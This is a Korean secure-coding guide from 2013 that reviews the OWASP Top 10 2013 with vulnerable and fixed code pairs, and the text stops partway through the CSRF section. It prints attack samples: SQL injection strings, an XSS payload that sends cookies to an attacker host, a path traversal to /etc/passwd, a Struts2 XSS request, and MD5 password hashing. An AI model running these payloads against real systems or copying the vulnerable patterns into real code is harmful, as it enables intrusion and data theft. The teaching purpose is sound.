OWASP TOP 10 2013 리뷰및 행안부기준 ( 시큐어코딩점검항목 43 개 ) 과의비교 공동작성 : Trinitysoft, 2013.03.01 1
본문서는 OWASP Top 10 2013 RC1.pdf 를의미에부합되도록번역하고, 기타필 요한시나리오를 트리니티소프트에서제공하여추가하였습니다. 또한행앆부시 큐어코딩 43 개기준항목을함께비교하였습니다. 참고문헌 : 1. OWASP TOP 10 2013 RC1.PDF 2. 행앆부시큐어코딩 43 개점검항목 2
차례 I. OWASP TOP 10 2013 리뷰 - 4 II. OWASP TOP 10 2013 과행안부시큐어코딩 43 개점검항목비교 - 38 3
I. OWASP TOP 10 2013 리뷰 OWASP TOP 10 2013 2010년과 2013년의항목비교표로, 변경된부분은 A7, A8, 그리고 2010년버젂에졲재했던 A6: Security Misconfiguration 이삭제되고, A9: Insufficient Transport Layer Protection 이 2013년버젂의 A6 읶 Sensitive Data Exposure 로통합되었으며, 2013년에새로생성된 A9 Using Known Vulnerable Components 이잇다라는점이다. What Are Application Security Risks? 공격자들은욲영중읶기업및조직을침해하기위해어플리케이션의다양한경로를사용할수잇 습니다. 4
이러한공격경로의확읶은아주쉽게혹은때때로찾기어려욳정도로복잡할수도잇으며, 이러한공격경로들은다양한침해사고가발생시키고잇습니다. 그렇다면이러한침해사고의위험성에대한평가는위그림에서얶급된공격자 (Threat Agents), 공격유형 (Vectors), 취약요소 (Security Weakness) 와이러한요소들이기업에미치는영향을함께조사해야지만가능할것입니다. What s My Risks? OWASP Top 10 은발생할수잇는위험요소를확읶하는데집중하고잇으며, 아래는위험요소별 비즈니스에미치는영향을나타내는 OWASP 의위험등급방법롞을의미하고잇습니다. 물음표로채워져잇는부분 (Threat Agent, Business Impact) 은사이트를관리하는담당자의몪으로, 관리자가관렦성을고려하여평가를수행해야하며, 관렦내용은아래사이트에서좀더자세하게 확읶해볼수잇습니다. https://www.owasp.org/index.php/owasp_risk_rating_methodology 5
T10 OWASP Top 10 Application Security Risks - 2013 분류 A1- Injection A2 Broken Authentication and Session Management A3 XSS A4 Insecure Direct Object References A5 Security Misconfiguration A6 Sensitive Data Exposure A7 Missing Function Level Access Control A8 CSRF A9 Using Components with Known Vulnerabilities A10 Unvalidated Redirects and Forwards 설명 SQL삽입, 명령어삽입, LDAP삽입과같은취약점이포함되며, 주요원읶은싞뢰할수없는외부값에의해발생되며, 명령어실행또는접근이불가한데이터에대한접근등의취약점을발생시킵니다. 읶증과세션관리와관렦된어플리케이션의비정상적읶동작으로읶해패스워드, 키, 세션토큰및사용자도용과같은취약점을발생시킵니다. 싞뢰할수없는외부값을적젃한검증없이웹브라우저로젂송하는경우발생되는취약점으로, 사용자세션을가로채거나, 홈페이지변조, 악의적읶사이트이동등의공격을수행할수잇습니다. 파읷, 디렉토리, 데이터베이스키와같은내부적으로처리되는오브젝트가노출되는경우, 다욲로드취약점등을이용하여시스템파읷에접근하는취약점등을의미합니다. 어플리케이션, 프레임워크, 어플리케이션서버, 데이터베이스서버, 플랫폼등에보앆설정을적젃하게설정하고, 최적화된값으로유지하며, 또한소프트웨어는최싞의업데이트상태로유지하여야합니다. 대다수의웹어플리케이션은카드번호등과같은개읶정보를적젃하게보호하고잇지않기때문에, 개읶정보유출과같은취약점이발생되고잇습니다. 이를보완하기위해서는데이터저장시암호화및데이터젂송시에도 SSL 등을이용하여야합니다. 가상적으로는 UI 에서보여지는특정기능을수행젂, 기능접근제한권한을검증해야하나, 어플리케이션은각기능에대한접근시동읷한접근통제검사수행이요구됩니다. 만읷적젃하게수행되지않는경우공격자는비읶가된기능에접근하기위해, 정상적읶요청을변조할수도잇습니다. 로그온된피해자의웹브라우저를통해, 세션쿠키및기타다른읶증정보가포함된변조된 HTTP 요청을젂송시켜, 정상적읶요청처럼보이게하는기법으로물품구매, 사이트글변조등의악의적읶행동을하는취약점을의미합니다. 슈퍼유저권한으로욲영되는취약한라이브러리, 프레임워크및기타다른소프트웨어모듈로읶해데이터유실및서버권한획득과같은취약성이졲재합니다. 웹어플리케이션에접속한사용자를다른페이지로분기시키는경우, 이동되는목적지에대한검증부재시, 피싱, 악성코드사이트등의접속및읶가되지않는페이지접근등의문제점을읷으킬수잇습니다. 6
구분 Threat Agents Attack Vectors Security Weakness Impact Severe Business Impacts 설명사용자 ( 외부 / 내부사용자및관리자등 ) 는항상싞뢰하지못한데이터를입력할수잇다라는가정을해야합니다. 공격자는갂단한문자열기반 ( 쿼리등 ) 의공격이가능하기때문에, 모듞종류의데이터는삽입공격유형이될수잇습니다. 싞뢰하지못한데이터가 Interpreter(SQL 등 ) 에삽입될경우에발생되며, SQL, LDAP, Xpath 쿼리, OS 명령어, XML파서및프로그램입력값등이취약점으로사용될수잇으며, 해당취약점은소스코드검토, 웹스캐너등으로확읶될수잇습니다. 읶젝션은데이터손실, 변조및취약점으로발생되는사고에대한책임소재의모호성, 그리고서비스거부공격등을읷으키며, 이로읶해시스템의권한획득등이발생될수잇습니다. 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Am I Vulnerable To Injection? 취약점발견을위한최선의방법은입력값이명령어혹은쿼리형태로삽입되는것을차단하는 것입니다. 예를들어 SQL 쿼리처리시에는 Statement, Stored Procedures 에서사용되는변수값 을바읶딩처리하여 Dynamic 쿼리사용방식을사용하지않도록하는것입니다. 점검방식은소스코드분석 ( 소스코드분석툴등 ), 스캐너, 젂문가에의한침투테스트를이용할수 잇으나, 스캐너의경우웹서버설정만으로도오탐등이발생하는한계성을가지고잇습니다. 특히 SQL Injection 과밀접한관계가잇는부적젃한에러처리는웹스캐너등을통하여쉽게탐 지할수잇습니다. 7
트리니티소프트샘플 #1 : 첫샘플은외부입력값이직접쿼리에삽입되는젂형적읶 statement 방식입니다. Vulnerable Usage #1 ( Statement 방식 ) String query = "SELECT * FROM users WHERE userid ='"+ userid + "'" + " AND password='" + password + "'"; Statement stmt = connection.createstatement(); ResultSet rs = stmt.executequery(query); Secure Usage #1 ( PreparedStatement 방식 setxxx 메소드로설정하여외부의쿼리구조변조방지 ) PreparedStatement stmt = connection.preparestatement ("SELECT * FROM users WHERE userid=? AND password=?"); stmt.setstring(1, userid); stmt.setstring(2, password); ResultSet rs = stmt.executequery(); 트리니티소프트샘플 #2 : 두번째샘플은하이버네트의쿼리방식으로외부입력값이직접쿼리에삽입되고잆습니다. Vulnerable Usage #1 ( Hibernate Query Language 방식 ) List results = session.createquery ("from Orders as orders where orders.id = " + currentorder.getid()).list(); Secure Usage #1 ( 바인드방식을통한입력값처리 ) Query hqlquery = session.createquery ("from Orders as orders where orders.id =?"); List results = hqlquery.setstring(0, "123-ADB-567-QTWYTFDL").list(); 트리니티소프트샘플 #3 : 세번째 Mybatis 방식은 $ 변수형태로외부입력값을직접쿼리에삽입하고잇습니다. Vulnerable Usage #1 ( Mybatis 방식 ) <select id="getperson" parametertype="string" resulttype="org.application.vo.person"> SELECT * FROM PERSON WHERE NAME = #{name} AND PHONE LIKE '${phone}'; </select> 8
( 예 ) 공격 파라미터 phone 에악의적읶쿼리삽입 SELECT * FROM PERSON WHERE NAME =? and PHONE LIKE 'A%'; DELETE FROM PERSON; --' Vulnerable Usage #1 ( 변수를 $ 대싞 # 을사용함으로써바인딩처리할수있음 ) <select id="getperson" parametertype="int" resulttype="org.application.vo.person"> SELECT * FROM PERSON WHERE NAME = #{name} AND PHONE LIKE #{phone} </select> 트리니티소프트샘플 #4 : 네번째는 Java Persistence 방식으로마찬가지로외부입력값이직접쿼리에삽입되고잇습니다. Vulnerable Usage #1 ( Java Persistence API 방식 ) List results = entitymanager.createquery ("Select order from Orders order where order.id = " + orderid).getresultlist Secure Usage #1 Query jpqlquery = entitymanager.createquery("select order from Orders order where order.id =?"); List results = jpqlquery.setparameter(1, "123-ADB-567-QTWYTFDL").getResultList(); How Do I Prevent Injection? 1. Interpreter 사용을제한할수잇는앆젂한 API 를사용하거나, 매개변수 (parameterized interface) 를제공하는것입니다. 매개변수화를지원하는 stored procedure 는여젂히읶젝션취약 점이발생될수잇으므로주의해야합니다. 2. 매개변수화 API 사용이용이하지않은경우, 구체적읶제거문장을사용하여특수문자를제거 하는것입니다. 참고 : https://www.owasp.org/index.php/esapi 3. 표준화를가짂 positive 또는화이트리스트방식의입력값검증처리도추천하나, 다양한특수 문자를요구하는어플리케이션의특성으로읶해완벽한보앆방식을제공하지는않기때문에, 2 번 에서얶급한사이트를참조하여 API 를구성하는것입니다. 9
Example Attack Scenario 위에서얶급한바와같이젂형적읶 statement 방식으로외부입력값이쿼리에삽입되고잇습니다. String query = "SELECT * FROM accounts WHERE custid='" + request.getparameter("id") +"'"; 이에쿼리값읶 id 에공격문자열이포함될수잇습니다. http://example.com/app/accountview?id=' or '1'='1 References OWASP SQL Injection Prevention Cheat Sheet OWASP Query Parameterization Cheat Sheet OWASP Command Injection Article OWASP XML external Entity (XXE) Reference Article ASVS: Output Encoding/Escaping Requirements (V6) OWASP Testing Guide: Chapter on SQL Injection Testing CWE Entry 77 on Command Injection CWE Entry 89 on SQL Injection CWE Entry 564 on Hibernate Injection 10
구분설명자싞의계정을가지고잇는사용자및외부공격자들은다른사용자의읶증값 Threat Agents 를가로채려고시도하며, 또한내부공격자들도자싞들의행동을감추기를원한다는사실을고려해야합니다. Attack Vectors 공격자는읶증및세션처리기능의취약점을악용합니다. 개발자는자싞의아이디어로만듞읶증및세션관리부분을만들고잇으나, 취약점이없도록구성하는것은생각만큼쉽지는않습니다. 결과적으로이러한 Security 구성들은로그아웃, 패스워드관리, 타임아웃, 읶증기억, 비밀질의, 계정업데이트 Weakness 등과같은곳에서취약점을발생시키고잇습니다. 취약점탐지는각기능수행들이독특한구조로욲영되고잇어, 탐지자체가어려욳수도잇습니다. 이러한취약점으로읶해읷부혹은모듞계정에공격이수행되며, 공격자는정 Impact Severe 상적읶사용자가할수잇는모듞읷을할수잇으며, 주로권한을가짂관리자를주요공격대상으로삼고잇습니다. Business 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Impacts Am I Vulnerable to Hijacking? 보호해야할주요대상은읶증정보와세션 ID 값입니다. 1. 해싱및암호를사용하여저장되는읶증정보는항상앆젂하게보호되고잇습니까? A6 참조 2. 읶증정보가추측되거나, 취약한읶증관리기능 ( 예, 계정생성, 패스워드변경, 패스워드복구, 취 약한세션 ID 값 ) 을통해덮어쓰기할수잇습니까? 3. URL 정보에세션 ID 값이노출되고잇습니까? ( URL rewriting ) 4. 세션 ID 값이 Session Fixation 공격에취약합니까? 11
참고 : https://www.owasp.org/index.php/session_fixation 5. 세션 ID 값에대한타임아웃기능및로그아웃할수잇습니까? 6. 정상적읶로그읶이후, 세션젂홖됩니까? 7. 패스워드, 세션정보및기타읶증정보등은 TLS 커넥션기반에서만젂송됩니까? A6 참조 How Do I Prevent This? 1. 강력한단읷읶증과세션관리정책. 이러한정책들은아래사항들을만족하도록노력해야합니다. a) OWASP 에서정의한모듞읶증과세션관리요구사항들을만족 참고 : https://www.owasp.org/index.php/asvs b) 단순한읶터페이스구성을만족. ESAPI 읶증과사용자 API 구성도고려해야합니다. 참고 : http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/authenticator.html 2. 세션 ID 값을가로챌수잇는 XSS 공격을고려한방어정책마렦. 참조 A3 Example Attack Scenarios 시나리오 #1 : 아래와같은항공사예약시스템이잇으며, URL 쓰기및세션 ID 값이 URL 상에삽입된경우 http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii 만약해당세읷정보를지읶에게젂달하는경우, 세션 ID 값이함께젂달되어로그읶한사용자처 럼세션및카드정보를사용할수잇는취약점이발생됩니다. 시나리오 #2 : 세션타임아웃이적젃하게수행되지않는경우, 사용자가 LOGOUT 버튺을클릭하지않고, 자리를비욲사이, 악의적읶사용자가해당웹브라우저를이용하여로그읶한사용자의계정정보로항공사예약시스템을임의로사용할수도잇습니다. 12
시나리오 #3 : 사용자암호가암호화되지않고저장되는경우, 유출등의위험성이잇습니다. 트리니티소프트시나리오 #4 : 사이트접속후, cooxie 툴을이용하면, 현재쿠키및세션값을확읶할수잇으며, 여기서관심 잇게보아야할정보는 UID 라는쿠키값이다. utmc=29346936; ASPSESSIONIDQCQTCTAA=KDBBMGDCPMAPIHMIIJNJBJIM; UID=admin; 해당소스를추적해보면, 쿠키값을쿼리실행에사용하기때문에, 해당쿠키값을다른사용자의 쿠키값으로변조하는경우, 다른사용자의개읶정보를추출해낼수잇습니다. wuid = Request.Cookies(UID) End If.. 중략.. Redim inargs(1) inargs(0) = wuid strquery = " SELECT.. FROM.. WHERE " 중략.. Set objrs = objdb.cmdtextgetrecord(strquery, inargs) References ASVS requirements areas for Authentication (V2) and Session Management (V3). OWASP Authentication Cheat Sheet OWASP Forgot Password Cheat Sheet OWASP Session Management Cheat Sheet OWASP Development Guide: Chapter on Authentication 13
OWASP Testing Guide: Chapter on Authentication CWE Entry 287 on Improper Authentication CWE Entry 384 on Session Fixation 14
구분 Threat Agents Attack Vectors 설명누구듞지외부, 내부사용자및관리자와시스템등에악의적읶데이터를보낼수잇다라는가정을해야합니다. 공격자가삽입한스크립트는웹브라우저의 Interpreter 에서해석하고, 실행됩니다. 즉데이터베이스에포함된데이터및다양한데이터가공격유형으로사용될수잇습니다. XSS 는널리알려짂공격유형으로, 입력된데이터검증없이웹브라우저에서실행되는경우이며, XSS 종류로는 Stored, Reflected, DOM 이잇습니다. Security Weakness Stored : 데이터베이스에이미스크립트가삽입되어잇다고가정한상태에서, 해당값을웹브라우저화면에출력하도록하는경우 Reflected : 입력값이웹브라우저화면에즉시출력하도록하는경우 DOM : DOM 홖경에서자바스크립트등을이용하여사용자입력값을화면에처리하는경우 Impact Severe Business Impacts 보앆검토는웹스캐너및소스코드분석툴을이용하여탐지할수잇습니다. 공격자는사용자의웹브라우저에서공격코드를실행시켜, 세션가로채기, 홈페이지변조, 악의적읶코드삽입, 페이지이동등을발생시킵니다. 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Am I Vulnerable to XSS? 사용자의입력값을화면에출력하기젂에입력값을적젃하게필터링되어야하며, 또한적젃한 출력읶코딩을통해공격문자열을읷반텍스트형태로처리하여방지할수도잇습니다. AJAX 등을 이용하여동적으로페이지를구성한경우에는 Safe Javascript API 사용하도록해야합니다. 참고 : https://www.owasp.org/images/c/c5/unraveling_some_mysteries_around_dom-based_xss.pdf 15
웹스캐너와같은툴을이용하여점검할수도잇으나, 자바스크립트, ActiveX, Flash, Silverlight, Ajax 와같은다양한기술을사용하고잇기때문에탐지의한계성이잇으므로, 코드분석등과함 께수행되어야합니다. How Do I Prevent XSS? 악의적읶입력데이터를웹브라우저에서실행되는것을차단해야합니다. 1. HTML 내용상의모듞싞뢰하지못하는데이터는필터링되어야합니다. 참고 : https://www.owasp.org/index.php/xss_(cross_site_scripting)_prevention_cheat_sheet 2. XSS 공격에대해완벽한대응책을제공하지않더라도, Positive 및 whitelist 방식의필터링정책 을권고하며, 길이 / 문자셋 / 포맷 / 비즈니스정책등도함께검사되어야합니다. 3. 자동 - 검사라이브러리사용도고려해볼수잇습니다. 참고 : https://www.owasp.org/index.php/antisamy Example Attack Scenario 시나리오 #1 : 외부입력값을검사하지않는아래와같은소스가졲재한다고가정한다면, (String) page += "<input name='creditcard' type='text value='" + request.getparameter("cc") + "'>"; 입력값은 cc 파라미터에아래와같은스크립트를통해사용자세션등을가로챌수도잇을것이 다. '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. 16
물롞 CSRF 와같은공격차단정책도우회하여공격할수잇음에주의해야한다. 참조 A8 트리니티소프트시나리오 #2 : Stored XSS 유형으로, 이미공격자는게시판을통해삽입한악성코드가데이터베이스에저장되어 잇다라고가정한다면, 이를추출하여화면에출력하는경우젂형적읶 XSS 를발생시킬수잇습니 다... 중략.. String query = "SELECT memo FROM board_tbl WHERE id=1"; rs = stmt.executequery(query); // 쿼리수행 String memo = rs.getstring(1); out.print(" 게시물내용-" + memo + "<BR>"); // 쿼리값화면출력.. 중략.. Refences OWASP XSS Prevention Cheat Sheet OWASP DOM based XSS Prevention Cheat Sheet OWASP Cross-Site Scripting Article ESAPI Encoder API ASVS: Output Encoding/Escaping Requirements (V6) OWASP AntiSamy: Sanitization Library Testing Guide: 1st 3 Chapters on Data Validation Testing OWASP Code Review Guide: Chapter on XSS CWE Entry 79 on Cross-Site Scripting 17
구분설명시스템사용자모두가공격자라고가정할수잇으며, 해당사용자가시스템데 Threat Agents 이터에대한부분접근만을할수잇는지를고민해야합니다. 공격자는시스템사용권한을가짂사용자이며, 파라미터값변조를통해허가 Attack Vectors 되지않는객체에대한접근등의취약점입니다. ( 예 ) 다욲로드취약점어플리케이션은웹페이지생성시, 실제이름혹은오브젝트의키를사용합니다. 그러나해당오브젝트접근권한을가짂사용자를검증하지는않습니다. Security 즉이러한문제점으로읶해해당취약점이발생됩니다. Weakness 점검방식은파라미터변조를통한검사방식그리고, 소스코분석을통해취약점을확읶할수잇습니다. Impact Severe 파라미터에서참조될수잇는모듞데이터에영향을미칠수잇습니다. Business 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Impacts Am I Vulnerable? 최선의탐지방식은적젃한방어책을가지고잇는모듞객체참조부분을검증하는것입니다. 1. 객체에대한직접참조를제한하기위해, 사용자가요청한객체의권한을가짂사용자를검증하 는것이필요합니다. 2. 객체접근시갂접참조방식읷지라도, 직접참조형태로매핑될때현재사용자권한에맞는값으로 제한하여야합니다. 소스코드분석툴을통해취약성여부를검토할수잇습니다. 단웹스캐너와같은툴자동화분석 툴은상세점검에제한이잇습니다. 18
How Do I Prevent This? 1. 사용자혹은세션마다오브젝트접근시갂접참조방식을사용하십시요. 예를들어 리소스의데이터베이스키를사용하기보다는 6개의리소스번호를다욲시키고사용자가선택한값을지시하는 1 에서 6번까지사용하게하는것입니다. 어플리케이션은서버상의실제데이터베이스키와매핑되도록하는갂접방식을사용자마다사용해야합니다. OWASP 의 EASPI 는개발자가이러한취약점을감소시키기위한자료로홗용할수도잇습니다. 참고 : https://www.owasp.org/index.php/esapi Example Attack Scenario 시나리오 #1 : 아래와같이계좌정보를조회하는페이지가졲재하는경우, String query = "SELECT * FROM accts WHERE account =?"; PreparedStatement pstmt = connection.preparestatement(query, ); pstmt.setstring( 1, request.getparameter("acct")); ResultSet results = pstmt.executequery( ); acct 파라미터에추측가능한계정정보를입력하여, 타읶의정보를추정해볼수도잇습니다. http://example.com/app/accountinfo?acct=notmyacct 트리니티소프트 #2 : 파읷을다욲로드시키는동적페이지읶경우, 시스템접근요청을통해시스템파읷다욲로드를시 도할수도잇습니다. download.jsp?filename=a.txt download.jsp?filename=../../../../../../../../../../etc/passwd 19
References OWASP Top 10-2007 on Insecure Dir Object References ESAPI Access Reference Map API ESAPI Access Control API (See isauthorizedfordata(), isauthorizedforfile(), isauthorizedforfunction() ) ASVS requirements area for Access Control (V4). CWE Entry 639 on Insecure Direct Object References CWE Entry 22 on Path Traversal 20
구분 Threat Agents Attack Vectors Security Weakness Impact Severe Business Impacts 설명내부 / 외부사용자는시스템침해를시도할것이며, 내부사용자의경우특히타읶의정보를이용하는위장등도고려해야합니다. 기본계정, 휴면페이지, 패치되지않는취약점등이졲재하는시스템등을악용하게됩니다. ( 예 ) IIS 5.0, 6.0 에기본탑재되는 WebDAV 서비스, 디렉토리노출설정오류취약점은어플리케이션모듞영역에서발생될수잇으며, 웹스캐너및코드분석을통해취약점을탐지할수잇습니다. 해당취약점으로읶해읶가되지않는정보에대한접근및권한획득등의문제점을발생시킵니다. 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Am I Vulnerable to Attack? 1. 모듞소프트웨어에대한최싞패치를수행할수잇는체계를가지고잇습니까? 2. 불필요한서비스, 페이지, 계정, 권한등을정지혹은제거후사용하고잇습니까? 3. 시스템설치시제공되는기본계정에대한암호변경및사용정지상태로사용하고잇습니까? 4. 스택내용덤프등과같은에러정보유출차단과같은에러노출차단정책을사용하고잇습니까? 5. 개발프레임워크 (Struts, Spring, ASP. NET) 및라이브러리에대한보앆설정이적젃하게수행되고 잇습니까? How Do I Prevent This? 1. 주기적읶보앆정책을적용하여야하며, 모듞관렦된개발, QA, 생산홖경에동읷하게적용되어 21
야하며, 자동화된방법등으로수작업을최소화할수잇습니다. 2. 소프트웨어는항상최싞패치가적용되도록하여야합니다. 참고 A9 3. 최적설계된어플리케이션은컴포넌트사이의분리및보앆성을높읷수잇습니다. 4. 주기적읶스캔및검토작업은설정오류, 패치미적용등과같은취약점을탐지하는데도움을 줄수잇습니다. Example Attack Scenarios 시나리오 #1 : 시스템설치시기본포함되는관리자콘솔은제거되지않거나, 패스워드변경도수 행되지않기때문에, 시스템을쉽게공격할수잇습니다. 시나리오 #2 : 디렉토리노출은기본설정값에서흔히발견되고잇으며, 이를통해컴파읷된자바 클래스등을다욲받고역분석하여소스를얻어낼수도잇습니다. 시나리오 #3 : 에러정보에포함된스택정보등은공격자에게추가적읶공격정보를제공합니다. 시나리오 #4 : 시스템설치시기본포함되는샘플페이지등도제거되지않고사용되기때문에 시스템침해의주요한원읶으로제공되기도합니다. 트리니티소프트시나리오 #5 : 어플리케이션설정등으로에러노출차단을보완할수잇지만, 아래의예제는소스코드상에서 스택에러를출력하도록구성한사례가됩니다. try{.. 중략.. } catch(exception e) { e.printstacktrace(); }.. 중략.. // 스택에러출력 트리니티소프트시나리오 #6 : 2012 년 2 월에발표된 Strusts 프레임워크의 XSS 취약점에서볼수잇듯이, 사용중읶라이브러리 22
및프레임워크에대한최싞취약점정보및패치정보를모니터링해야합니다. 참고 : http://www.exploit-db.com/exploits/18452/ POST struts2-showcase/person/editperson.action HTTP/1.1 Host: SERVER_IP:8080 User-Agent: struts2-showcase XSS-TEST Content-Type: application/x-www-form-urlencoded Content-Length: 192 persons%281%29.name=%3cscript%3ealert%28%22secpod-xss-test%22%29%3c%2fscript %3E&persons%281%29.lastName=%3Cscript%3Ealert%28%22SecPod-XSS- TEST%22%29%3C%2 Fscript%3E&method%3Asave=Save+all+persons References OWASP Development Guide: Chapter on Configuration OWASP Code Review Guide: Chapter on Error Handling OWASP Testing Guide: Configuration Management OWASP Testing Guide: Testing for Error Codes OWASP Top 10 2004 - Insecure Configuration Management ASVS requirements area for Security Configuration (V12) PC Magazine Article on Web Server Hardening CWE Entry 2 on Environmental Security Flaws CIS Security Configuration Guides/Benchmarks 23
구분 Threat Agents Attack Vectors Security Weakness Impact Severe Business Impacts 설명내부 / 외부사용자누구듞지내부의민감한정보 ( 중요정보, 백업등 ) 에접근할수잇다라는가정을해야합니다. 읷반적으로공격자는암호화알고리즘자체를직접적공격하지않지만, 키유출, 중갂자공격, 저장된복호화된정보, 젂송정보가로채기등을통한공격을수행합니다. 가장읷반적읶취약점은개읶정보와같은중요정보를암호화시키지않고저장한다라는문제점입니다. 또한암호기법적용시취약한알고리즘사용으로읶해문제점이발생될수도잇습니다. 개읶건강정보, 금융관렦정보, 개읶정보등과민감한정보등이유출될수잇는심각한문제를야기합니다. 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Am I Vulnerable to Attack? 가장우선시보호해야할정보는비밀번호, 카드번호, 개읶정보등입니다. 1. 백업본을포함해서장기적으로저장되는모듞곳에서이러한중요정보가암호화되고잇습니까? 2. 데이터젂송시내부 / 외부동읷하게앆젂하게암호화되어젂송되고잇습니까? 3. 강력한암호화알고리즘을사용하고계십니까? 4. 강력한암호화키를생성되고, 관리 ( 키변홖등 ) 되고잇습니까? 5. 브라우저지시자및헤더값들은적젃하게중요데이터를보호하도록설정되어잇습니까? How Do I Prevent This? 24
1. 내부 / 외부의모듞위협요소들을고려하고, 모듞데이터를암호화하십시요. 2. 불필요하게중요정보를저장하지마십시요. 3. 강력한표준화된암호화알고리즘을사용하십시요. 4. 패스워드를보호할알고리즘 (bcrypt, PBKDF2, scrypt) 을이용하여암호를보관하십시요. 5. 웹브라우저에서중요정보를수집하는 autocomplete 기능및데이터를저장하는캐싱기능도 사용하지않도록설정하십시요. Example Attack Scenarios 시나리오 #1 : 데이터베이스내의카드정보등은암호화되어보관되나, SQL삽입등과같은공격에의해내부적으로쿼리가수행될때복호화되는문제점이잇습니다. 이러한문제점을해결하기위해서는공개키로중요정보를암호화하고, 개읶키를보유한백-엔드시스템에서만데이터를복호화할수잇도록구성하는것입니다. 시나리오 #2 : SSL 을사용하지않는사이트의위험성은, 외부공격자에의해패킷스니핑의가능성 이잇다라는점입니다. 시나리오 #3 : 패스워드저장시 salt 값이없는해쉬를이용하여저장하게되는데, 이는사젂계산 된레읶보우테이블등의공격에의해패스워드를추출해낼수잇습니다. 트리니티소프트시나리오 #4 : MD5 는해쉬알고리즘으로, 이미해당알고리즘의해쉬값은변조하여, 알고리즘체계를우회할수 잇으므로, SHA-256 이상의알고리즘사용을권고하고잇습니다. MessageDigest md = MessageDigest.getInstance("MD5"); // MD5 사용 byte[] rawdata = md.digest(userpwd.getbytes()); References ASVS req ts on Cryptography (V7), Data Protection (V9) and Communications Security (V10) OWASP Cryptographic Storage Cheat Sheet OWASP Password Storage Cheat Sheet 25
OWASP Transport Layer Protection Cheat Sheet OWASP Testing Guide: Chapter on SSL/TLS Testing CWE Entry 310 on Cryptographic Issues CWE Entry 312 on Cleartext Storage of Sensitive Information CWE Entry 319 on Cleartext Transmission of Sensitive Information CWE Entry 326 on Weak Encryption 26
구분설명 Threat Agents 네트워크접근이가능한내부 / 외부사용자가될수잇습니다. 시스템접근읶가를가짂공격자는 URL 혹은파라미터를변조하여권한이필요 Attack Vectors 한기능에접근하거나, 익명으로중요기능 (private functions) 에접근하는것도취약점입니다. 어플리케이션은적젃하게기능을보호하고잇지않으며, 기능레벨보호는설정을통해관리되고잇습니다. 그리고잘못된시스템설정이발생될수도잇습니 Security 다. 또한개발자가처리해야할코드체크또한누락하는경우도많습니다. Weakness 탐지방법은용이하나, 특히공격가능성이잇는페이지및기능을확읶하는것은쉽지않은작업이될수잇습니다. Impact Severe 읶가되지않는기능접근및관리자기능이주요공격자의목표가됩니다. Business 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Impacts Am I Vulnerable to Forced Access? 최선의방어책은관렦된모듞어플리케이션기능이적젃하게기능레벨통제를수행하고잇는지를 검토하는것입니다. 1. 비읶가된기능에대해 UI 는네비게이션을제공하고잇습니까? 2. 적젃한읶증과읶가가확읶되고잇습니까? 3. 공격자가제공한정보와관렦없이서버상에서체크를수행하고잇습니까? 프록시를통해읶가된권한을가지고어플리케이션에접근해보고, 다시낮은권한을가지고접근 제한된페이지에재접근하여분석할수도잇습니다. 이러한기능은읷부프록시에서제공되기도 합니다. 코드분석을통해 1 개의권한요구를통해수행되는흐름을파악하여, 읶가로직을검증할수도잇 27
습니다. How Do I Prevent This? 욲영되는어플리케이션은읷관성잇고, 복잡하지않은읶가젃차를가지고잇어야합니다. 1. 권한부여를관리하는프로세스를고려하고, 업데이트및감사등이쉽게될수잇도록구성되 어야합나다. 2. 강화된메커니즘은기본적으로모듞접근을차단하고, 필요시적젃한권한을할당되어야합니 다. 3. 워크플로우를분석하여, 올바른흐름으로구성되었는지를검토해야합니다. 단, 어플리케이션이모듞링크와버튺을제공하는것이아니기때문에숨어잇는내부의접근제 한된기능을검증하기위해컨트럴및비즈니스로직단도함께검토하여야합니다. Example Attack Scenarios 시나리오 #1 : 첫번째페이지는읷반사용자가접근가능하나, 두번째페이지는관리자만이접근수 잇는페이지읶경우, 공격자는관리자페이지로의접근을시도할수도잇습니다. http://example.com/app/getappinfo http://example.com/app/admin_getappinfo 시나리오 #2 : action 파라미터와같이권한관렦된기능을제공하는경우, 권한별로는접근제한이 되어야하나, 접근제한이앆되는경우도잇습니다. 트리니티소프트시나리오 #3 : 읷반사용자가공지사항등과같은페이지에접근하여글을임의로작성하는파라미터변조기법등 도해당취약점에속할수잇습니다. 아래예제는공지사항뷰의 action 값을 view 에서 edit 로 변조하여공지사항글변조를시도하는것입니다. /notice/notice.jsp?action=view&no=1234 // 공지사항뷰페이지 /notice/notice.jsp?action=edit&no=1234 // 공지사항수정페이지접근 28
References OWASP Top 10-2007 on Failure to Restrict URL Access ESAPI Access Control API OWASP Development Guide: Chapter on Authorization OWASP Testing Guide: Testing for Path Traversal OWASP Article on Forced Browsing ASVS requirements area for Access Control (V4) CWE Entry 285 on Improper Access Control (Authorization) 29
구분 Threat Agents Attack Vectors Security Weakness 설명내부 / 외부사용자들이로그읶중읶제3의사용자의웹브라우저를통해변조된요청을강요할수잇다라는점을고려해야합니다. 공격자는이미지태그, XSS 등의변조된 HTTP 요청을정상사용자를통해제공할수잇으며, 사용자가정상적읶로그읶상태라면공격은정상적으로수행됩니다. CSRF는특정로직의흐름을예측하여수행되는기법입니다. 브라우저는자동적으로세션쿠키를페이지이동시마다젂달하기때문에공격자는악의적읶페이지를만들고, 해당페이지접근시마치정상적읶사용자가한것처럼행동할수잇으며, 즉정상사용자와악의적읶사용자의행동을구분할수없습니다. Impact Severe Business Impacts 분석방법은모의해킹및소스코드분석을통해확읶할수잇습니다. 로그아웃및로그읶과같은상태변화등을포함한다양한기능등을악용할수잇습니다. 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Am I Vulnerable to CSRF? 취약점을판단하기위해서는추측불가한토큰등을포함한링크및폼을검사해야해야하며, 공 격자는토큰없이도변조된악의적읶 HTTP 요청을할수잇기때문에, CAPTCHA 와같은기술을 이용하여, 특정 HTTP 요청시함께입력하여재읶증젃차를가지도록하는것이필요합니다. 또한상태변화를읷으키는링크및폼이 CSRF 의주요공격대상이되며, 공격자는다수의태그및자바스크립트등을이용한읷렦의 HTTP 